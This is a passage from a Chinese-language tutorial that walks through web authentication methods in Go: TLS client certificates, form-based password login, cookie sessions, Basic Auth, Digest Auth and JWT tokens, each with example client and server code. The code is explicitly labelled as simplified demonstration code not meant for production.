!ok { return errors.New(\u0026quot;invalid client id\u0026quot;) } return nil } // 添加处理器 http.HandleFunc(\u0026quot;/\u0026quot;, func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(\u0026quot;Hello World!\u0026quot;)) }) // 3. 创建服务器 srv := \u0026amp;http.Server{ Addr: \u0026quot;:8443\u0026quot;, TLSConfig: tlsConfig, } // 4. 启动服务器 err = srv.ListenAndServeTLS(\u0026quot;\u0026quot;, \u0026quot;\u0026quot;) if err != nil { log.Fatal(err) } } 注：在你的实验环境中，需要在/etc/hosts文件中添加server.com的映射ip为127.0.0.1。\n服务端代码也不复杂，比较“套路化”：加载服务端证书和中间CA证书(用于验签client端的证书)，这里将tls.Config.ClientAuth设置为RequireAndVerifyClientCert，这会触发服务端对客户端证书的验签，同时在tlsConfig.VerifyPeerCertificate不为nil的情况下，触发对tlsConfig.VerifyPeerCertificate的函数的调用，在示例代码中，我们为tlsConfig.VerifyPeerCertificate赋值了一个匿名函数实现，在这个函数中，我们提取了客户端证书中的客户端标识CN，并查看其是否在可信任的客户端ID表中。\n在这个示例中，这个tlsConfig.VerifyPeerCertificate执行的验证有些多余，但我们在实际代码中可以使用tlsConfig.VerifyPeerCertificate来设置黑名单，拦截那些尚未过期、但可以验签通过的客户端，实现一种客户端证书过期前的作废机制。\n此外，上述示例中客户端、服务端以及中间CA证书的制作代码与《Go TLS服务端绑定证书的几种方式》一文中的证书制作很类似，大家可以直接参考本文示例代码中的tls-authn/make-certs下面的代码，这里就不赘述了。\n通过这种基于安全信道的身份验证方式，客户端证书可以强制认证用户，理论上不需要额外再用用户名密码。认证之后客户端在这个TLS连接上发送的所有信息都将绑定其身份。\n不过通过颁发客户端专用证书的方式仅适合一些像网络银行之类的专有业务，大多数Web应用会与客户端间建立安全信道，但不会采用客户端证书来认证用户身份，在这样的情况下，下面要说的这些身份认证方式就可以发挥作用了。\n我们先来看一下最传统的基于密码的认证。\n3. 基于密码的认证 基于密码的认证属于基于第一类身份认证要素：你知道的东西(What you know)的认证方式，这类认证也是Web应用中最经典、最常见的认证方式。我们先从基于传统表单承载用户名/密码说起。\n3.1. 基于用户名+密码的认证(传统表单方式) 这是最常见的Web应用认证方式：用户通过提交包含用户名和密码的表单(Form)，服务端Web应用进行验证。下面使用这种方式的客户端与服务单的交互示意图：\n接下来，我们看看对应上述示意图的实现代码。我们先建立一个html文件，该文件非常简单，就是一个可输入用户名和密码的表单，点击登录按钮将表单信息发送到服务端：\n// authn-examples/password/classic/login.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;登录\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form action=\u0026quot;http://server.com:8080/login\u0026quot; method=\u0026quot;post\u0026quot;\u0026gt; \u0026lt;label\u0026gt;用户名:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026quot;text\u0026quot; name=\u0026quot;username\u0026quot;/\u0026gt; \u0026lt;label\u0026gt;密码:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026quot;password\u0026quot; name=\u0026quot;password\u0026quot;/\u0026gt; \u0026lt;button type=\u0026quot;submit\u0026quot;\u0026gt;登录\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 发送的HTTP Post请求的包体(Body)中会包含页面输入的username和password的值，形式如下：\nusername=admin\u0026amp;password=123456 而我们的服务端的代码如下：\n// authn-examples/password/classic/main.go func main() { http.HandleFunc(\u0026quot;/login\u0026quot;, login) http.ListenAndServe(\u0026quot;:8080\u0026quot;, nil) } func login(w http.ResponseWriter, r *http.Request) { username := r.FormValue(\u0026quot;username\u0026quot;) password := r.FormValue(\u0026quot;password\u0026quot;) if isValidUser(username, password) { w.Write([]byte(\u0026quot;Welcome!\u0026quot;)) return } http.Error(w, \u0026quot;Invalid username or password\u0026quot;, http.StatusUnauthorized) // 401 } var credentials = map[string]string{ \u0026quot;admin\u0026quot;: \u0026quot;123456\u0026quot;, } func isValidUser(username, password string) bool { // 验证用户名密码 v, ok := credentials[username] if !ok { return false } if v != password { return false } return true } 服务端通过Request的FormValue方法获得username和password的值，并与credentials存储的合法用户信息比对(当然这只是演示代码中的临时手段，生产中不要这么存储用户信息)，比对成功，返回”Welcome”应答；比对失败，返回401 Unauthorized错误。\n注：包括本示例在内的后续所有示例的客户端和服务端都在非安全信道上通信，目的是简化示例代码的编写。大家在生产环境务必建立安全信道后再做后续的身份验证。\n基于传统的表单用户名和密码可以作为Web应用服务端身份验证的方案，但问题来了：服务端认证成功后，用户后续向Web应用服务端发起的请求是否还要继续带上用户和密码信息呢？如果不带上用户和密码信息，服务端又如何验证这些请求是来自之前已经认证成功后的用户；如果后续每个请求都带上以Form形式承载的用户名和密码，使用起来又非常不方便，还影响后续请求的正常数据的传输(对Body数据有侵入)。\n于是便有了Session(会话)机制，它可以被认为是基于经典的用户名密码(表单承载)认证方式的“延续”，使得密码认证的成果不再局限在缺乏连续性的单一请求级别上，而是扩展到后续的一段时间内或一系列与Web应用的互操作过程中，变成了连续、持久的登录会话。\n接下来，我们就来简单看看基于Session的后续认证方式是如何工作的。\n3.2 使用Session：有状态的认证方式 基于Session的认证方式是一种有状态的方案，服务端会为每个身份认证成功的用户建立并保存相关session信息，同时服务端也会要求客户端在浏览器侧持久化与该Session有关少量信息，通常客户端会通过开启Cookie的方式来保存与用户Session相关的信息。\n服务端保存Session有多种方式，可以在进程内存中、文件中、数据库、缓存(Redis)等，不同方式各有优缺点，比如将Session保存在内存中，最大的好处就是实现简单且速度快，但由于不能持久化，服务实例重启后就会丢失，此外当服务端有多副本时，session信息无法在多实例共享；使用关系数据库来保存session，可以方便持久化，也方便与服务端多实例用户数据共享，但数据库交互成本较大；而使用缓存(Redis)存储session信息是目前比较主流的方式，简单、安全、快速，还可以很好地适合分布式环境下session的共享。\n下面是一个常见的基于cookie实现的session机制的客户端与服务端的交互示意图：\n这里也给出上述示意图的一个参考实现示例（代码仅用作演示，很多值设置并不规范和安全，不要用于生产）。\nsession机制的开启从用户登录开始，这个示例里的login.html与上一个示例是一样的：\n// authn-examples/password/session/login.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;登录\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form action=\u0026quot;http://server.com:8080/login\u0026quot; method=\u0026quot;post\u0026quot;\u0026gt; \u0026lt;label\u0026gt;用户名:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026quot;text\u0026quot; name=\u0026quot;username\u0026quot;/\u0026gt; \u0026lt;label\u0026gt;密码:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026quot;password\u0026quot; name=\u0026quot;password\u0026quot;/\u0026gt; \u0026lt;button type=\u0026quot;submit\u0026quot;\u0026gt;登录\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 服务端负责的login Handler代码如下：\n// authn-examples/password/session/main.go var store = sessions.NewCookieStore([]byte(\u0026quot;session-key\u0026quot;)) func main() { http.HandleFunc(\u0026quot;/login\u0026quot;, login) http.HandleFunc(\u0026quot;/calc\u0026quot;, calc) http.HandleFunc(\u0026quot;/calcAdd\u0026quot;, calcAdd) http.ListenAndServe(\u0026quot;:8080\u0026quot;, nil) } var credentials = map[string]string{ \u0026quot;admin\u0026quot;: \u0026quot;123456\u0026quot;, \u0026quot;test\u0026quot;: \u0026quot;654321\u0026quot;, } func isValid(username, password string) bool { // 验证用户名密码 v, ok := credentials[username] if !ok { return false } if v != password { return false } return true } func base64Encode(src string) string { encoded := base64.StdEncoding.EncodeToString([]byte(src)) return encoded } func base64Decode(encoded string) string { decoded, _ := base64.StdEncoding.DecodeString(encoded) return string(decoded) } func randomStr() string { // 生成随机数 rand.Seed(time.Now().UnixNano()) random := rand.Intn(100000) // 格式化为05位字符串 str := fmt.Sprintf(\u0026quot;%05d\u0026quot;, random) return str } func login(w http.ResponseWriter, r *http.Request) { username := r.FormValue(\u0026quot;username\u0026quot;) password := r.FormValue(\u0026quot;password\u0026quot;) if isValid(username, password) { session, err := store.Get(r, \u0026quot;server.com_\u0026quot;+username) if err != nil { fmt.Println(\u0026quot;get session from session store error:\u0026quot;, err) http.Error(w, \u0026quot;Internal error\u0026quot;, http.StatusInternalServerError) } // 设置session数据 random := randomStr() usernameB64 := base64Encode(username + \u0026quot;-\u0026quot; + random) session.Values[\u0026quot;random\u0026quot;] = random session.Save(r, w) // 设置cookie cookie := http.Cookie{Name: \u0026quot;server.com-session\u0026quot;, Value: usernameB64} http.SetCookie(w, \u0026amp;cookie) // 登录成功,跳转到calc页面 http.Redirect(w, r, \u0026quot;/calc\u0026quot;, http.StatusSeeOther) } else { http.Error(w, \u0026quot;Invalid username or password\u0026quot;, http.StatusUnauthorized) // 401 } } 我们使用了gorilla/sessions这个Go社区广泛使用的session库来实现服务端session的相关操作。以admin用户登录为例，当用户名和密码认证成功后，我们在session store中创建一个新的session：server.com_admin。然后生成一个随机数，将随机数存储在该session的名为”random”的key的下面。之后，让客户端设置cookie，name为server.com-session。值为username和random按特定格式组合后的base64编码值。\n登录成功后，浏览器会跳到calc页面，这里我们输入两个整数，并点击”calc”按钮提交，提交动作会发送请求到calcAdd Handler中：\n// authn-examples/password/session/main.go func calcAdd(w http.ResponseWriter, r *http.Request) { // 1. 获取Cookie中的Session cookie, err := r.Cookie(\u0026quot;server.com-session\u0026quot;) if err != nil { http.Error(w, \u0026quot;找不到cookie，请重新登录\u0026quot;, 401) return } fmt.Printf(\u0026quot;found cookie: %#v\\n\u0026quot;, cookie) // 2. 获取Session对象 usernameB64 := cookie.Value usernameWithRandom := base64Decode(usernameB64) ss := strings.Split(usernameWithRandom, \u0026quot;-\u0026quot;) username := ss[0] random := ss[1] session, err := store.Get(r, \u0026quot;server.com_\u0026quot;+username) if err != nil { http.Error(w, \u0026quot;找不到session, 请重新登录\u0026quot;, 401) return } randomInSs := session.Values[\u0026quot;random\u0026quot;] if random != randomInSs { http.Error(w, \u0026quot;session中信息不匹配, 请重新登录\u0026quot;, 401) return } // 3. 转换为整型参数 a, err := strconv.Atoi(r.FormValue(\u0026quot;a\u0026quot;)) if err != nil { http.Error(w, \u0026quot;参数错误\u0026quot;, 400) return } b, err := strconv.Atoi(r.FormValue(\u0026quot;b\u0026quot;)) if err != nil { http.Error(w, \u0026quot;参数错误\u0026quot;, 400) return } // 4. 计算并返回结果 result := a + b w.Write([]byte(fmt.Sprintf(\u0026quot;%d\u0026quot;, result))) } calcAdd Handler会提取Cookie “server.com-session”中的值，根据值信息查找服务端本地是否存储了对应的session，并校验与session中存储的随机码是否一致。验证通过后，直接返回结算结果；否则提醒客户端重新登录。\n前面说过，session是一种有状态的辅助身份认证机制，需要客户端和服务端的配合完成，一旦客户端禁用了Cookie机制，上述的示例实现就失效了。当然有读者会说，Session可以不基于Cookie来实现，可以用URL重写、隐藏表单字段、将Session ID放入URL路径等方式来实现，客户端也可以用LocalStorage等前端存储机制来替代Cookie。但无论哪种实现，这种有状态机制带来的复杂性都不低，并且在分布式环境中需要session共享和同步机制，影响了scaling。\n随着微服务架构的广泛使用，无需在服务端存储额外信息、天然支持后端服务分布式多实例的无状态的连续身份认证机制受到了更多的青睐。\n其实基于HTTP的无状态认证机制早已有之，最常见的莫过于Basic Auth了，接下来，我们就从Basic Auth开始，说几种无状态身份认证机制。\n3.3 Basic Auth：最早的无状态认证方式 Basic Auth是HTTP最原始的身份验证方式，在HTTP1.0规范中就已存在，其原因是HTTP是无状态协议，每次请求都需要进行身份验证才能访问受保护资源。\nBasic Auth的原理也十分简单，客户端与服务端的交互如下图：\nBasic Auth通过在客户端的请求报文中添加HTTP Authorization Header的形式向服务器端发送认证凭据。HTTP Authorization Header的构建通常分两步。\n将“username:password”的组合字符串进行Base64编码，编码值记作b64Token。 将Authorization: Basic b64Token作为HTTP header的一个字段发送给服务器端。 服务端收到请请求后提取出Authorization字段并做Base64解码，得到username和password，然后与存储的信息作比对进行客户端身份认证。\n我们来看一个与上图对应的示例的代码，先看客户端：\n// authn-examples/password/basic/client/main.go func main() { client := \u0026amp;http.Client{} req, _ := http.NewRequest(\u0026quot;POST\u0026quot;, \u0026quot;http://server.com:8080/\u0026quot;, nil) // 发送默认请求 response, err := client.Do(req) if err != nil { fmt.Println(err) return } // 解析响应头 authHeader := response.Header.Get(\u0026quot;WWW-Authenticate\u0026quot;) loginReq, _ := http.NewRequest(\u0026quot;POST\u0026quot;, \u0026quot;http://server.com:8080/login\u0026quot;, nil) username := \u0026quot;admin\u0026quot; password := \u0026quot;123456\u0026quot; // 判断认证类型 if !strings.Contains(authHeader, \u0026quot;Basic\u0026quot;) { // 不支持的认证类型 fmt.Println(\u0026quot;Unsupported authentication type:\u0026quot;, authHeader) return } // 使用Basic Auth, 添加Basic Auth头 loginReq.SetBasicAuth(username, password) response, err = client.Do(loginReq) // 打印响应状态 fmt.Println(response.StatusCode) // 打印响应包体 defer response.Body.Close() body, err := io.ReadAll(response.Body) if err != nil { fmt.Println(err) return } fmt.Println(string(body)) } 客户端的代码比较简单，并且流程与图中的交互流程是完全一样的。而服务端就是一个简单的http server，对来自客户端的带有basic auth的请求进行身份认证：\n// authn-examples/password/basic/server/main.go func main() { // 创建一个基本的HTTP服务器 mux := http.NewServeMux() username := \u0026quot;admin\u0026quot; password := \u0026quot;123456\u0026quot; // 针对/的handler mux.HandleFunc(\u0026quot;/\u0026quot;, func(w http.ResponseWriter, req *http.Request) { // 返回401 Unauthorized响应 w.Header().Set(\u0026quot;WWW-Authenticate\u0026quot;, \u0026quot;Basic realm=\\\u0026quot;server.com\\\u0026quot;\u0026quot;) w.WriteHeader(http.StatusUnauthorized) }) // login handler mux.HandleFunc(\u0026quot;/login\u0026quot;, func(w http.ResponseWriter, req *http.Request) { // 从请求头中获取Basic Auth认证信息 user, pass, ok := req.BasicAuth() if !ok { // 认证失败 w.WriteHeader(http.StatusUnauthorized) return } // 验证用户名密码 if user == username \u0026amp;\u0026amp; pass == password { // 认证成功 w.WriteHeader(http.StatusOK) w.Write([]byte(\u0026quot;Welcome to the protected resource!\u0026quot;)) } else { // 认证失败 http.Error(w, \u0026quot;Invalid username or password\u0026quot;, http.StatusUnauthorized) } }) // 监听8080端口 err := http.ListenAndServe(\u0026quot;:8080\u0026quot;, mux) if err != nil { log.Fatal(err) } } 采用Basic Auth身份认证方案的客户端在每个请求中都要在Header中加上Basic Auth形式的身份信息，但服务端无需像Session那样存储任何额外的信息。\n不过很显然，Basic Auth这种采用明文传输身份信息的方式在安全性方面饱受诟病，为了避免在Header传输明文的安全问题，RFC 2617(以及后续更新版RFC 7616)定义了HTTP Digest身份认证方式。Digest访问认证不再明文传输密码，而是传递用hash算法处理后密码摘要，相对Basic Auth验证安全性更高。接下来，我们就来看看HTTP Digest认证方式。\n3.4 基于HTTP Digest认证 Digest是一种HTTP摘要认证，你可以把它看作是Basic Auth的改良版本，针对Base64明文发送的风险，Digest认证把用户名和密码加盐（一个被称为Nonce的随机值作为盐值）后，再通过MD5/SHA等哈希算法取摘要放到请求的Header中发送出去。Digest的认证过程如下图：\n相对于Basic Auth，Digest Auth的一些值的生成过程还是略复杂的，这里给出一个示例性质的代码示例，可能不完全符合Digest规范，大家通过示例理解Digest的认证过程就可以了。\n注：如要使用符合RFC 7616的Digest规范（或老版RFC 2617规范)，可以找一些第三方包，比如https://github.com/abbot/go-http-auth（只满足RFC 2617）。\n// authn-examples/password/digest/client/main.go func main() { client := \u0026amp;http.Client{} req, _ := http.NewRequest(\u0026quot;POST\u0026quot;, \u0026quot;http://server.com:8080/\u0026quot;, nil) // 发送默认请求 response, err := client.Do(req) if err != nil { fmt.Println(err) return } // 解析响应头 authHeader := response.Header.Get(\u0026quot;WWW-Authenticate\u0026quot;) loginReq, _ := http.NewRequest(\u0026quot;POST\u0026quot;, \u0026quot;http://server.com:8080/login\u0026quot;, nil) username := \u0026quot;admin\u0026quot; password := \u0026quot;123456\u0026quot; // 判断认证类型 if !strings.Contains(authHeader, \u0026quot;Digest\u0026quot;) { // 不支持的认证类型 fmt.Println(\u0026quot;Unsupported authentication type:\u0026quot;, authHeader) return } // 使用Digest Auth //随机数 cnonce := GenNonce() //生成HA1 ha1 := GetHA1(username, password, cnonce) //构建Authorization头 auth := \u0026quot;Digest username=\\\u0026quot;\u0026quot; + username + \u0026quot;\\\u0026quot;, nonce=\\\u0026quot;\u0026quot; + cnonce + \u0026quot;\\\u0026quot;, algorithm=MD5, response=\\\u0026quot;\u0026quot; + GetResponse(ha1, cnonce) + \u0026quot;\\\u0026quot;\u0026quot; loginReq.Header.Set(\u0026quot;Authorization\u0026quot;, auth) response, err = client.Do(loginReq) // 打印响应状态 fmt.Println(response.StatusCode) // 打印响应包体 defer response.Body.Close() body, err := io.ReadAll(response.Body) if err != nil { fmt.Println(err) return } fmt.Println(string(body)) } // 生成随机数 func GenNonce() string { h := md5.New() io.WriteString(h, fmt.Sprint(rand.Int())) return hex.EncodeToString(h.Sum(nil)) } // 根据用户名密码和随机数生成HA1 func GetHA1(username, password, cnonce string) string { h := md5.New() io.WriteString(h, username+\u0026quot;:\u0026quot;+cnonce+\u0026quot;:\u0026quot;+password) return hex.EncodeToString(h.Sum(nil)) } // 根据HA1,随机数生成response func GetResponse(ha1, cnonce string) string { h := md5.New() io.WriteString(h, strings.ToUpper(\u0026quot;md5\u0026quot;)+\u0026quot;:\u0026quot;+ha1+\u0026quot;:\u0026quot;+cnonce+\u0026quot;::\u0026quot;+strings.ToUpper(\u0026quot;md5\u0026quot;)) return hex.EncodeToString(h.Sum(nil)) } 客户端使用username、password和随机数生成摘要以及一个response码，并通过请求的头Authorization字段发给服务端。\n服务端解析Authorization字段中的各个值，然后采用同样的算法算出一个新response，与请求中的response比对，如果一致，则认为认证成功：\n// authn-examples/password/digest/server/main.go func main() { mux := http.NewServeMux() password := \u0026quot;123456\u0026quot; // 针对/的handler mux.HandleFunc(\u0026quot;/\u0026quot;, func(w http.ResponseWriter, req *http.Request) { // 返回401 Unauthorized响应 w.Header().Set(\u0026quot;WWW-Authenticate\u0026quot;, \u0026quot;Digest realm=\\\u0026quot;server.com\\\u0026quot;\u0026quot;) w.WriteHeader(http.StatusUnauthorized) }) // login handler mux.HandleFunc(\u0026quot;/login\u0026quot;, func(w http.ResponseWriter, req *http.Request) { fmt.Println(req.Header) //验证参数 if Verify(req, password) { fmt.Fprintln(w, \u0026quot;Verify Success!\u0026quot;) } else { w.WriteHeader(401) fmt.Fprintln(w, \u0026quot;Verify Failed!\u0026quot;) } }) // 监听8080端口 err := http.ListenAndServe(\u0026quot;:8080\u0026quot;, mux) if err != nil { log.Fatal(err) } } func Verify(r *http.Request, password string) bool { auth := r.Header.Get(\u0026quot;Authorization\u0026quot;) params := strings.Split(auth, \u0026quot;,\u0026quot;) var username, cnonce, response string for _, p := range params { p := strings.Trim(p, \u0026quot; \u0026quot;) kv := strings.Split(p, \u0026quot;=\u0026quot;) if kv[0] == \u0026quot;Digest username\u0026quot; { username = strings.Trim(kv[1], \u0026quot;\\\u0026quot;\u0026quot;) } if kv[0] == \u0026quot;nonce\u0026quot; { cnonce = strings.Trim(kv[1], \u0026quot;\\\u0026quot;\u0026quot;) } if kv[0] == \u0026quot;response\u0026quot; { response = strings.Trim(kv[1], \u0026quot;\\\u0026quot;\u0026quot;) } } if username == \u0026quot;\u0026quot; { return false } //根据用户名密码及随机数生成HA1 ha1 := GetHA1(username, password, cnonce) //自己生成response与请求中response对比 return response == GetResponse(ha1, cnonce) } 虽然实现了无状态，安全性也高于Basic Auth，但Digest方式的用户体验依然有限：每次向服务端发送请求，客户端都要进行一次复杂计算，服务端也要再做一次相同的验算和比对。\n那么是否有一种体验更为良好的无状态身份认证方式呢？我们接下来看看基于Token的认证方式。\n4. 无状态：基于Token的认证 基于Token的认证方式的备受青睐得益于Web领域前后端分离架构的发展以及微服务架构的流行，在API调用和网站间需要轻量级的认证机制来传递用户信息。Token认证机制正好满足这一需求，而JWT(JSON Web Token)是目前Token格式标准中使用最广的一种。\n4.1 JWT原理 JWT由头部(Header)、载荷(Payload)和签名(Signature)三部分组成，三部分之间用圆点连接，其形式如下：\nxxxxx.yyyyy.zzzzz 一个真实的JWT token的例子如下面来自jwt.io站点的截图)：\nJWT token的生成过程也非常清晰，下图展示了上述截图中jwt token的生成过程：\n如果你不想依赖第三方库，也可以自己实现生成token的函数，下面是一个示例：\n// authn-examples/jwt/scratch/main.go package main import ( \u0026quot;crypto/hmac\u0026quot; \u0026quot;crypto/sha256\u0026quot; \u0026quot;encoding/base64\u0026quot; \u0026quot;encoding/json\u0026quot; \u0026quot;fmt\u0026quot; ) type Header struct { Alg string `json:\u0026quot;alg\u0026quot;` Typ string `json:\u0026quot;typ\u0026quot;` } type Claims struct { Sub string `json:\u0026quot;sub\u0026quot;` Name string `json:\u0026quot;name\u0026quot;` Iat int64 `json:\u0026quot;iat\u0026quot;` } // GenerateToken：不依赖第三方库的JWT生成实现 func GenerateToken(claims *Claims, key string) (string, error) { header, _ := json.Marshal(Header{ Alg: \u0026quot;HS256\u0026quot;, Typ: \u0026quot;JWT\u0026quot;, }) // 序列化Payload payload, err := json.Marshal(claims) if err != nil { return \u0026quot;\u0026quot;, err } // 拼接成JWT字符串 headerEncoded := base64.RawURLEncoding.EncodeToString(header) payloadEncoded := base64.RawURLEncoding.EncodeToString([]byte(payload)) encodedToSign := headerEncoded + \u0026quot;.\u0026quot; + payloadEncoded // 使用HMAC+SHA256签名 hash := hmac.New(sha256.New, []byte(key)) hash.Write([]byte(encodedToSign)) sig := hash.Sum(nil) sigEncoded := base64.RawURLEncoding.EncodeToString(sig) var token string token += headerEncoded token += \u0026quot;.\u0026quot; token += payloadEncoded token += \u0026quot;.\u0026quot; token += sigEncoded return token, nil } func main() { var claims = \u0026amp;Claims{ Sub: \u0026quot;1234567890\u0026quot;, Name: \u0026quot;John Doe\u0026quot;, Iat: 1516239022, } result, _ := GenerateToken(claims, \u0026quot;iamtonybai\u0026quot;) fmt.Println(result) } 对照着上面图示的流程，理解这个示例非常容易。当然jwt.io官方也维护了一个使用简单且灵活性更好的Go module：golang-jwt/jwt，用这个go module生成上述token的示例代码如下：\n// authn-examples/jwt/golang-jwt/main.go import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; jwt \u0026quot;github.com/golang-jwt/jwt/v5\u0026quot; ) type MyCustomClaims struct { Sub string `json:\u0026quot;sub\u0026quot;` Name string `json:\u0026quot;name\u0026quot;` jwt.RegisteredClaims // use its Subject and IssuedAt } func main() { mySigningKey := []byte(\u0026quot;iamtonybai\u0026quot;) // Create claims with multiple fields populated claims := MyCustomClaims{ Name: \u0026quot;John Doe\u0026quot;, Sub: \u0026quot;1234567890\u0026quot;, RegisteredClaims: jwt.RegisteredClaims{ IssuedAt: jwt.NewNumericDate(time.Unix(1516239022, 0)), // 1516239022 }, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) ss, _ := token.SignedString(mySigningKey) fmt.Println(ss) _, err := verifyToken(ss, \u0026quot;iamtonybai\u0026quot;) if err != nil { fmt.Println(\u0026quot;invalid token:\u0026quot;, err) return } fmt.Println(\u0026quot;valid token\u0026quot;) } 这段代码中还包含了一个对jwt token验证合法性的函数verifyToken，服务端每次收到客户端请求中携带的token时，都可以使用verifyToken来验证token是否合法，下面是verifyToken的实现逻辑：\n// authn-examples/jwt/golang-jwt/main.go // verifyToken 验证JWT函数 func verifyToken(tokenString, key string) (*jwt.Token, error) { // 解析Token token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) { return []byte(key), nil }) if err != nil { return nil, err } // 验证签名 if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok { return nil, jwt.ErrSignatureInvalid } return token, nil } 服务端验证token的逻辑是先解析token，得到header、payload对应的base64UrlEncoded后的结果，然后用key重新生成签名，对比生成的签名与token携带的签名是否一致。\n那么在Web应用中如何实现基于jwt token的身份认证呢？我们继续往下看。\n4.2 使用JWT token做身份认证 在前面讲解Basic Auth、Digest Auth时，Basic Auth、Digest等服务端认证方式利用了HTTP Header的Authorization字段，基于JWT token的认证也是基于Authorization字段，只不过前缀从Basic、Digest换成了Bearer：\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2OTc4NjE5MzIsInVzZXJuYW1lIjoiYWRtaW4ifQ.go6NhfmYPZbtHEuJ1oULG890neo0yVdtFJwfAvHhxyE 基于JWT token的身份认证方式的客户端与服务端的交互流程如下图：\n在这幅示意图中，客户端先用basic auth方式登录服务端，服务端验证通过后，在登录应答中写入一个jwt token作为后续客户端访问服务端其他功能的依据。客户端从登录应答的包体中解析出jwt token后，可以将该token存放在LocalStorage中，然后在后续的发向该服务端的所有请求中都带上这个jwt token。服务端对这些请求都会校验其携带的jwt token，只有验证通过的请求才能被正确处理。\n下面来看看对应示意图的示例源码，先来看一下客户端：\n// authn-examples/jwt-authn/client/main.go func main() { client := \u0026amp;http.Client{} req, _ := http.NewRequest(\u0026quot;POST\u0026quot;, \u0026quot;http://server.com:8080/\u0026quot;, nil) // 发送默认请求 response, err := client.Do(req) if err != nil { fmt.Println(err) return } // 解析响应头 authHeader := response.Header.Get(\u0026quot;WWW-Authenticate\u0026quot;) loginReq, _ := http.NewRequest(\u0026quot;POST\u0026quot;, \u0026quot;http://server.com:8080/login\u0026quot;, nil) username := \u0026quot;admin\u0026quot; password := \u0026quot;123456\u0026quot; // 判断认证类型 if !strings.Contains(authHeader, \u0026quot;Basic\u0026quot;) { // 不支持的认证类型 fmt.Println(\u0026quot;Unsupported authentication type:\u0026quot;, authHeader) return } // 使用Basic Auth, 添加Basic Auth头 loginReq.SetBasicAuth(username, password) response, err = client.Do(loginReq) fmt.Println(response.StatusCode) // 从响应包体中获取服务端分配的jwt token defer response.Body.Close() body, err := io.ReadAll(response.Body) if err != nil { fmt.Println(err) return } token := string(body) fmt.Println(\u0026quot;token=\u0026quot;, token) // 基于token访问服务端其他功能 apiReq, _ := http.NewRequest(\u0026quot;POST\u0026quot;, \u0026quot;http://server.com:8080/calc\u0026quot;, nil) apiReq.Header.Set(\u0026quot;Authorization\u0026quot;, \u0026quot;Bearer \u0026quot;+token) response, err = client.Do(apiReq) fmt.Println(response.StatusCode) defer response.Body.Close() body, err = io.ReadAll(response.Body) if err != nil { fmt.Println(err) return } fmt.Println(string(body)) } 客户端的操作流程与示意图一样，先用basic auth登录server，通过验证后，拿到服务端生成的token。后续到该服务端的所有请求只需在Header中带上token即可。\n服务端的代码如下：\n// authn-examples/jwt-authn/server/main.go func main() { // 创建一个基本的HTTP服务器 mux := http.NewServeMux() username := \u0026quot;admin\u0026quot; password := \u0026quot;123456\u0026quot; key := \u0026quot;iamtonybai\u0026quot; // 针对/的handler mux.HandleFunc(\u0026quot;/\u0026quot;, func(w http.ResponseWriter, req *http.Request) { // 返回401 Unauthorized响应 w.Header().Set(\u0026quot;WWW-Authenticate\u0026quot;, \u0026quot;Basic realm=\\\u0026quot;server.com\\\u0026quot;\u0026quot;) w.WriteHeader(http.StatusUnauthorized) }) // login handler mux.HandleFunc(\u0026quot;/login\u0026quot;, func(w http.ResponseWriter, req *http.Request) { // 从请求头中获取Basic Auth认证信息 user, pass, ok := req.BasicAuth() if !ok { // 认证失败 w.WriteHeader(http.StatusUnauthorized) return } // 验证用户名密码 if user == username \u0026amp;\u0026amp; pass == password { // 认证成功，生成token token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ \u0026quot;username\u0026quot;: username, \u0026quot;iat\u0026quot;: jwt.NewNumericDate(time.Now().Add(time.Hour * 24)), }) signedToken, _ := token.SignedString([]byte(key)) w.Write([]byte(signedToken)) } else { // 认证失败 http.Error(w, \u0026quot;Invalid username or password\u0026quot;, http.StatusUnauthorized) } }) // calc handler mux.HandleFunc(\u0026quot;/calc\u0026quot;, func(w http.ResponseWriter, req *http.Request) { // 读取并校验jwt token token := req.Header.Get(\u0026quot;Authorization\u0026quot;)[len(\u0026quot;Bearer \u0026quot;):] fmt.Println(token) if _, err := verifyToken(token, key); err != nil { // 认证失败 http.Error(w, \u0026quot;Invalid token\u0026quot;, http.StatusUnauthorized) return } w.Write([]byte(\u0026quot;invoke calc ok\u0026quot;)) }) // 监听8080端口 err := http.ListenAndServe(\u0026quot;:8080\u0026quot;, mux) if err != nil { log.Fatal(err) } } 我们看到，除了在login handler中使用basic auth做用户密码验证外，其他功能handler(如calc)中都使用token进行身份验证。\n与传统会话式(session)认证相比，JWT是无状态的，更适用于分布式微服务架构。与Basic auth和digest相比，jwt在使用体验上又领先一筹。凭借其无需在服务端保存会话状态、天生适合分布式架构、令牌内容可以自定义扩展等优势，现阶段，jwt已广泛应用于以下场合：\n前后端分离的Web应用和API认证 跨域单点登录(SSO) 微服务架构下服务间认证 无状态和移动应用认证 不过JWT认证方式也有不足，比如：客户端要承担令牌存储成本、如果令牌泄露未及时失效可能被滥用等。\n讲到这里，从基本的用户名密码认证，到加上密码散列的Digest认证，再到应用会话管理的Session认证，以及基于令牌的JWT认证，我们见证了认证机制的不断进步和发展。\n这些方法主要依赖账号密码这单一要素，提供了不同程度的安全性。但是随着互联网的快速发展，开发人员也在考虑改善用户名密码这种方式的使用体验，一些一次性密码认证方式便走入了我们的生活。接下来我们就来简单说一下一次性密码验证。\n5. 基于一次性密码验证 一次性密码（One Time Password, 